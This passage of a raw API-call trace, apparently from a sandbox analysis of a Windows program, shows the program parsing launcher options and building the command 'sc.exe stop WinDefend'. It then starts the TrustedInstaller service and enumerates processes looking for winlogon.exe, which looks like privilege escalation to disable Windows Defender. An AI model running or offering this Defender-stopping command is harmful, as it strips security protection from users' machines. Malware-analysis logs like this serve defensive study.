(_String1="/UseWindowPosition", _String2="0") returned -1 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="/CommandLine") returned 18 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="stop WinDefend") returned -68 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="/StartDirectory") returned 2 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="") returned 47 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="/RunAs") returned 3 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="8") returned -9 [0237.303] _wcsicmp (_String1="/UseWindowPosition", _String2="/Run") returned 3 [0237.303] wcscat (in: _Dest=0x18dfac, _Source="WindowPosition" | out: _Dest="/WindowPosition") returned="/WindowPosition" [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="/EXEFilename") returned 18 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="/WindowState") returned -3 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="0") returned -1 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="/CommandLine") returned 20 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="stop WinDefend") returned -68 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="/StartDirectory") returned 4 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="") returned 47 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="/RunAs") returned 5 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="8") returned -9 [0237.304] _wcsicmp (_String1="/WindowPosition", _String2="/Run") returned 5 [0237.304] wcscat (in: _Dest=0x18dfb0, _Source="UseWindowSize" | out: _Dest="/UseWindowSize") returned="/UseWindowSize" [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="/EXEFilename") returned 16 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="/WindowState") returned -2 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="0") returned -1 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="/CommandLine") returned 18 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="stop WinDefend") returned -68 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="/StartDirectory") returned 2 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="") returned 47 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="/RunAs") returned 3 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="8") returned -9 [0237.304] _wcsicmp (_String1="/UseWindowSize", _String2="/Run") returned 3 [0237.304] wcscat (in: _Dest=0x18dfac, _Source="WindowSize" | out: _Dest="/WindowSize") returned="/WindowSize" [0237.304] _wcsicmp (_String1="/WindowSize", _String2="/EXEFilename") returned 18 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="/WindowState") returned -11 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="0") returned -1 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="/CommandLine") returned 20 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="stop WinDefend") returned -68 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="/StartDirectory") returned 4 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="") returned 47 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="/RunAs") returned 5 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="8") returned -9 [0237.304] _wcsicmp (_String1="/WindowSize", _String2="/Run") returned 5 [0237.304] wcscat (in: _Dest=0x18dfb0, _Source="RunAs" | out: _Dest="/RunAs") returned="/RunAs" [0237.304] _wcsicmp (_String1="/RunAs", _String2="/EXEFilename") returned 13 [0237.305] _wcsicmp (_String1="/RunAs", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.305] _wcsicmp (_String1="/RunAs", _String2="/WindowState") returned -5 [0237.305] _wcsicmp (_String1="/RunAs", _String2="0") returned -1 [0237.305] _wcsicmp (_String1="/RunAs", _String2="/CommandLine") returned 15 [0237.305] _wcsicmp (_String1="/RunAs", _String2="stop WinDefend") returned -68 [0237.305] _wcsicmp (_String1="/RunAs", _String2="/StartDirectory") returned -1 [0237.305] _wcsicmp (_String1="/RunAs", _String2="") returned 47 [0237.305] _wcsicmp (_String1="/RunAs", _String2="/RunAs") returned 0 [0237.305] _wtoi (_String="8") returned 8 [0237.305] wcscat (in: _Dest=0x18dfac, _Source="RunAsProcessName" | out: _Dest="/RunAsProcessName") returned="/RunAsProcessName" [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="/EXEFilename") returned 13 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="/WindowState") returned -5 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="0") returned -1 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="/CommandLine") returned 15 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="stop WinDefend") returned -68 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="/StartDirectory") returned -1 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="") returned 47 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="/RunAs") returned 112 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="8") returned -9 [0237.305] _wcsicmp (_String1="/RunAsProcessName", _String2="/Run") returned 97 [0237.305] wcscat (in: _Dest=0x18dfb0, _Source="EnvironmentVariablesMode" | out: _Dest="/EnvironmentVariablesMode") returned="/EnvironmentVariablesMode" [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/EXEFilename") returned -10 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/WindowState") returned -18 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="0") returned -1 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/CommandLine") returned 2 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="stop WinDefend") returned -68 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/StartDirectory") returned -14 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="") returned 47 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/RunAs") returned -13 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="8") returned -9 [0237.305] _wcsicmp (_String1="/EnvironmentVariablesMode", _String2="/Run") returned -13 [0237.305] wcscat (in: _Dest=0x18dfb0, _Source="OSCompatMode" | out: _Dest="/OSCompatMode") returned="/OSCompatMode" [0237.305] _wcsicmp (_String1="/OSCompatMode", _String2="/EXEFilename") returned 10 [0237.305] _wcsicmp (_String1="/OSCompatMode", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.305] _wcsicmp (_String1="/OSCompatMode", _String2="/WindowState") returned -8 [0237.306] _wcsicmp (_String1="/OSCompatMode", _String2="0") returned -1 [0237.306] _wcsicmp (_String1="/OSCompatMode", _String2="/CommandLine") returned 12 [0237.306] _wcsicmp (_String1="/OSCompatMode", _String2="stop WinDefend") returned -68 [0237.306] _wcsicmp (_String1="/OSCompatMode", _String2="/StartDirectory") returned -4 [0237.306] _wcsicmp (_String1="/OSCompatMode", _String2="") returned 47 [0237.306] _wcsicmp (_String1="/OSCompatMode", _String2="/RunAs") returned -3 [0237.306] _wcsicmp (_String1="/OSCompatMode", _String2="8") returned -9 [0237.306] _wcsicmp (_String1="/OSCompatMode", _String2="/Run") returned -3 [0237.306] wcscat (in: _Dest=0x18dfb0, _Source="UseSearchPath" | out: _Dest="/UseSearchPath") returned="/UseSearchPath" [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="/EXEFilename") returned 16 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="/WindowState") returned -2 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="0") returned -1 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="/CommandLine") returned 18 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="stop WinDefend") returned -68 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="/StartDirectory") returned 2 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="") returned 47 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="/RunAs") returned 3 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="8") returned -9 [0237.306] _wcsicmp (_String1="/UseSearchPath", _String2="/Run") returned 3 [0237.306] wcscat (in: _Dest=0x18dfb0, _Source="ParseVarCommandLine" | out: _Dest="/ParseVarCommandLine") returned="/ParseVarCommandLine" [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/EXEFilename") returned 11 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/WindowState") returned -7 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="0") returned -1 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/CommandLine") returned 13 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="stop WinDefend") returned -68 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/StartDirectory") returned -3 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="") returned 47 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/RunAs") returned -2 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="8") returned -9 [0237.306] _wcsicmp (_String1="/ParseVarCommandLine", _String2="/Run") returned -2 [0237.306] wcscat (in: _Dest=0x18dfb0, _Source="UseAffinityMask" | out: _Dest="/UseAffinityMask") returned="/UseAffinityMask" [0237.306] _wcsicmp (_String1="/UseAffinityMask", _String2="/EXEFilename") returned 16 [0237.306] _wcsicmp (_String1="/UseAffinityMask", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.306] _wcsicmp (_String1="/UseAffinityMask", _String2="/WindowState") returned -2 [0237.306] _wcsicmp (_String1="/UseAffinityMask", _String2="0") returned -1 [0237.307] _wcsicmp (_String1="/UseAffinityMask", _String2="/CommandLine") returned 18 [0237.307] _wcsicmp (_String1="/UseAffinityMask", _String2="stop WinDefend") returned -68 [0237.307] _wcsicmp (_String1="/UseAffinityMask", _String2="/StartDirectory") returned 2 [0237.307] _wcsicmp (_String1="/UseAffinityMask", _String2="") returned 47 [0237.307] _wcsicmp (_String1="/UseAffinityMask", _String2="/RunAs") returned 3 [0237.307] _wcsicmp (_String1="/UseAffinityMask", _String2="8") returned -9 [0237.307] _wcsicmp (_String1="/UseAffinityMask", _String2="/Run") returned 3 [0237.307] wcscat (in: _Dest=0x18dfac, _Source="AffinityMask" | out: _Dest="/AffinityMask") returned="/AffinityMask" [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="/EXEFilename") returned -4 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="/WindowState") returned -22 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="0") returned -1 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="/CommandLine") returned -2 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="stop WinDefend") returned -68 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="/StartDirectory") returned -18 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="") returned 47 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="/RunAs") returned -17 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="8") returned -9 [0237.307] _wcsicmp (_String1="/AffinityMask", _String2="/Run") returned -17 [0237.307] wcscat (in: _Dest=0x18dfb0, _Source="Compat640480" | out: _Dest="/Compat640480") returned="/Compat640480" [0237.307] _wcsicmp (_String1="/Compat640480", _String2="/EXEFilename") returned -2 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="/WindowState") returned -20 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="0") returned -1 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="/CommandLine") returned 3 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="stop WinDefend") returned -68 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="/StartDirectory") returned -16 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="") returned 47 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="/RunAs") returned -15 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="8") returned -9 [0237.307] _wcsicmp (_String1="/Compat640480", _String2="/Run") returned -15 [0237.307] wcscat (in: _Dest=0x18dfb0, _Source="CompatDisableVisualThemes" | out: _Dest="/CompatDisableVisualThemes") returned="/CompatDisableVisualThemes" [0237.307] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/EXEFilename") returned -2 [0237.307] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.307] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/WindowState") returned -20 [0237.307] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="0") returned -1 [0237.308] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/CommandLine") returned 3 [0237.308] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="stop WinDefend") returned -68 [0237.308] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/StartDirectory") returned -16 [0237.308] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="") returned 47 [0237.308] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/RunAs") returned -15 [0237.308] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="8") returned -9 [0237.308] _wcsicmp (_String1="/CompatDisableVisualThemes", _String2="/Run") returned -15 [0237.308] wcscat (in: _Dest=0x18dfb0, _Source="CompatDisableDesktopComp" | out: _Dest="/CompatDisableDesktopComp") returned="/CompatDisableDesktopComp" [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/EXEFilename") returned -2 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/WindowState") returned -20 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="0") returned -1 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/CommandLine") returned 3 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="stop WinDefend") returned -68 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/StartDirectory") returned -16 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="") returned 47 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/RunAs") returned -15 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="8") returned -9 [0237.308] _wcsicmp (_String1="/CompatDisableDesktopComp", _String2="/Run") returned -15 [0237.308] wcscat (in: _Dest=0x18dfb0, _Source="CompatDisableDPI" | out: _Dest="/CompatDisableDPI") returned="/CompatDisableDPI" [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="/EXEFilename") returned -2 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="/WindowState") returned -20 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="0") returned -1 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="/CommandLine") returned 3 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="stop WinDefend") returned -68 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="/StartDirectory") returned -16 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="") returned 47 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="/RunAs") returned -15 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="8") returned -9 [0237.308] _wcsicmp (_String1="/CompatDisableDPI", _String2="/Run") returned -15 [0237.308] wcscat (in: _Dest=0x18dfb0, _Source="CompatColors" | out: _Dest="/CompatColors") returned="/CompatColors" [0237.308] _wcsicmp (_String1="/CompatColors", _String2="/EXEFilename") returned -2 [0237.308] _wcsicmp (_String1="/CompatColors", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.308] _wcsicmp (_String1="/CompatColors", _String2="/WindowState") returned -20 [0237.308] _wcsicmp (_String1="/CompatColors", _String2="0") returned -1 [0237.308] _wcsicmp (_String1="/CompatColors", _String2="/CommandLine") returned 3 [0237.309] _wcsicmp (_String1="/CompatColors", _String2="stop WinDefend") returned -68 [0237.309] _wcsicmp (_String1="/CompatColors", _String2="/StartDirectory") returned -16 [0237.309] _wcsicmp (_String1="/CompatColors", _String2="") returned 47 [0237.309] _wcsicmp (_String1="/CompatColors", _String2="/RunAs") returned -15 [0237.309] _wcsicmp (_String1="/CompatColors", _String2="8") returned -9 [0237.309] _wcsicmp (_String1="/CompatColors", _String2="/Run") returned -15 [0237.309] wcscat (in: _Dest=0x18dfac, _Source="RunAsUserName" | out: _Dest="/RunAsUserName") returned="/RunAsUserName" [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="/EXEFilename") returned 13 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="/WindowState") returned -5 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="0") returned -1 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="/CommandLine") returned 15 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="stop WinDefend") returned -68 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="/StartDirectory") returned -1 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="") returned 47 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="/RunAs") returned 117 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="8") returned -9 [0237.309] _wcsicmp (_String1="/RunAsUserName", _String2="/Run") returned 97 [0237.309] wcscat (in: _Dest=0x18dfac, _Source="RunAsDomain" | out: _Dest="/RunAsDomain") returned="/RunAsDomain" [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="/EXEFilename") returned 13 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="/WindowState") returned -5 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="0") returned -1 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="/CommandLine") returned 15 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="stop WinDefend") returned -68 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="/StartDirectory") returned -1 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="") returned 47 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="/RunAs") returned 100 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="8") returned -9 [0237.309] _wcsicmp (_String1="/RunAsDomain", _String2="/Run") returned 97 [0237.309] wcscat (in: _Dest=0x18dfac, _Source="RunAsPassword" | out: _Dest="/RunAsPassword") returned="/RunAsPassword" [0237.309] _wcsicmp (_String1="/RunAsPassword", _String2="/EXEFilename") returned 13 [0237.309] _wcsicmp (_String1="/RunAsPassword", _String2="C:\\Windows\\System32\\sc.exe") returned -52 [0237.309] _wcsicmp (_String1="/RunAsPassword", _String2="/WindowState") returned -5 [0237.309] _wcsicmp (_String1="/RunAsPassword", _String2="0") returned -1 [0237.309] _wcsicmp (_String1="/RunAsPassword", _String2="/CommandLine") returned 15 [0237.309] _wcsicmp (_String1="/RunAsPassword", _String2="stop WinDefend") returned -68 [0237.309] _wcsicmp (_String1="/RunAsPassword", _String2="/StartDirectory") returned -1 [0237.310] _wcsicmp (_String1="/RunAsPassword", _String2="") returned 47 [0237.310] _wcsicmp (_String1="/RunAsPassword", _String2="/RunAs") returned 112 [0237.310] _wcsicmp (_String1="/RunAsPassword", _String2="8") returned -9 [0237.310] _wcsicmp (_String1="/RunAsPassword", _String2="/Run") returned 97 [0237.310] wcslen (_String="C:\\Windows\\System32\\sc.exe") returned 0x1a [0237.310] wcscpy (in: _Dest=0x18dcc8, _Source="C:\\Windows\\System32\\sc.exe" | out: _Dest="C:\\Windows\\System32\\sc.exe") returned="C:\\Windows\\System32\\sc.exe" [0237.310] _snwprintf (in: _Dest=0x179ab0, _Count=0x7fff, _Format="\"%s\" %s" | out: _Dest="\"C:\\Windows\\System32\\sc.exe\" stop WinDefend") returned 43 [0237.310] SetEnvironmentVariableW (lpName="__COMPAT_LAYER", lpValue=0x0) returned 1 [0237.310] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName="ServicesActive", dwDesiredAccess=0x35) returned 0x598090 [0237.312] OpenServiceW (hSCManager=0x598090, lpServiceName="TrustedInstaller", dwDesiredAccess=0x34) returned 0x598130 [0237.313] QueryServiceStatus (in: hService=0x598130, lpServiceStatus=0x179618 | out: lpServiceStatus=0x179618*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0237.313] StartServiceW (hService=0x598130, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0238.463] CloseServiceHandle (hSCObject=0x598130) returned 1 [0238.463] CloseServiceHandle (hSCObject=0x598090) returned 1 [0238.463] wcscpy (in: _Dest=0x17941c, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0238.463] wcslen (_String="winlogon.exe") returned 0xc [0238.463] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0238.463] wcscpy (in: _Dest=0x17920c, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0238.463] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0238.464] wcscat (in: _Dest=0x17920c, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0238.464] wcscat (in: _Dest=0x17920c, _Source="winlogon.exe" | out: _Dest="C:\\Windows\\system32\\winlogon.exe") returned="C:\\Windows\\system32\\winlogon.exe" [0238.464] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xfc [0238.470] Process32FirstW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.471] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.471] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0238.471] GetVersionExW (in: lpVersionInformation=0x40fa78*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x40fa78*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0238.471] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x4) returned 0x100 [0238.471] wcscpy (in: _Dest=0x1782ec, _Source="C:\\Windows\\system32" | out: _Dest="C:\\Windows\\system32") returned="C:\\Windows\\system32" [0238.471] wcslen (_String="C:\\Windows\\system32") returned 0x13 [0238.472] wcscat (in: _Dest=0x1782ec, _Source="\\" | out: _Dest="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0238.472] wcscat (in: _Dest=0x1782ec, _Source="psapi.dll" | out: _Dest="C:\\Windows\\system32\\psapi.dll") returned="C:\\Windows\\system32\\psapi.dll" [0238.472] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\psapi.dll") returned 0x75800000 [0238.473] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleBaseNameW") returned 0x7580152c [0238.473] GetProcAddress (hModule=0x75800000, lpProcName="EnumProcessModules") returned 0x75801408 [0238.473] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleFileNameExW") returned 0x758013f0 [0238.473] GetProcAddress (hModule=0x75800000, lpProcName="EnumProcesses") returned 0x75801544 [0238.473] GetProcAddress (hModule=0x75800000, lpProcName="GetModuleInformation") returned 0x75801420 [0238.473] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.474] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75d40000 [0238.474] GetProcAddress (hModule=0x75d40000, lpProcName="QueryFullProcessImageNameW") returned 0x75d615af [0238.474] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="", lpdwSize=0x179188) returned 0 [0238.474] wcslen (_String="\\systemroot") returned 0xb [0238.474] wcslen (_String="") returned 0x0 [0238.474] wcscpy (in: _Dest=0x178f58, _Source="" | out: _Dest="") returned="" [0238.474] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75d40000 [0238.474] GetProcAddress (hModule=0x75d40000, lpProcName="GetProcessTimes") returned 0x75d6d5df [0238.474] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.474] CloseHandle (hObject=0x100) returned 1 [0238.474] malloc (_Size=0x4680) returned 0x1ea0048 [0238.475] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.475] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x108) returned 0x100 [0238.475] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.476] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\smss.exe", lpdwSize=0x179188) returned 1 [0238.477] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\smss.exe" | out: _Dest="C:\\Windows\\System32\\smss.exe") returned="C:\\Windows\\System32\\smss.exe" [0238.477] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.477] CloseHandle (hObject=0x100) returned 1 [0238.477] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.477] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14c) returned 0x100 [0238.477] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.477] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x179188) returned 1 [0238.478] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\csrss.exe" | out: _Dest="C:\\Windows\\System32\\csrss.exe") returned="C:\\Windows\\System32\\csrss.exe" [0238.478] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.478] CloseHandle (hObject=0x100) returned 1 [0238.478] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, 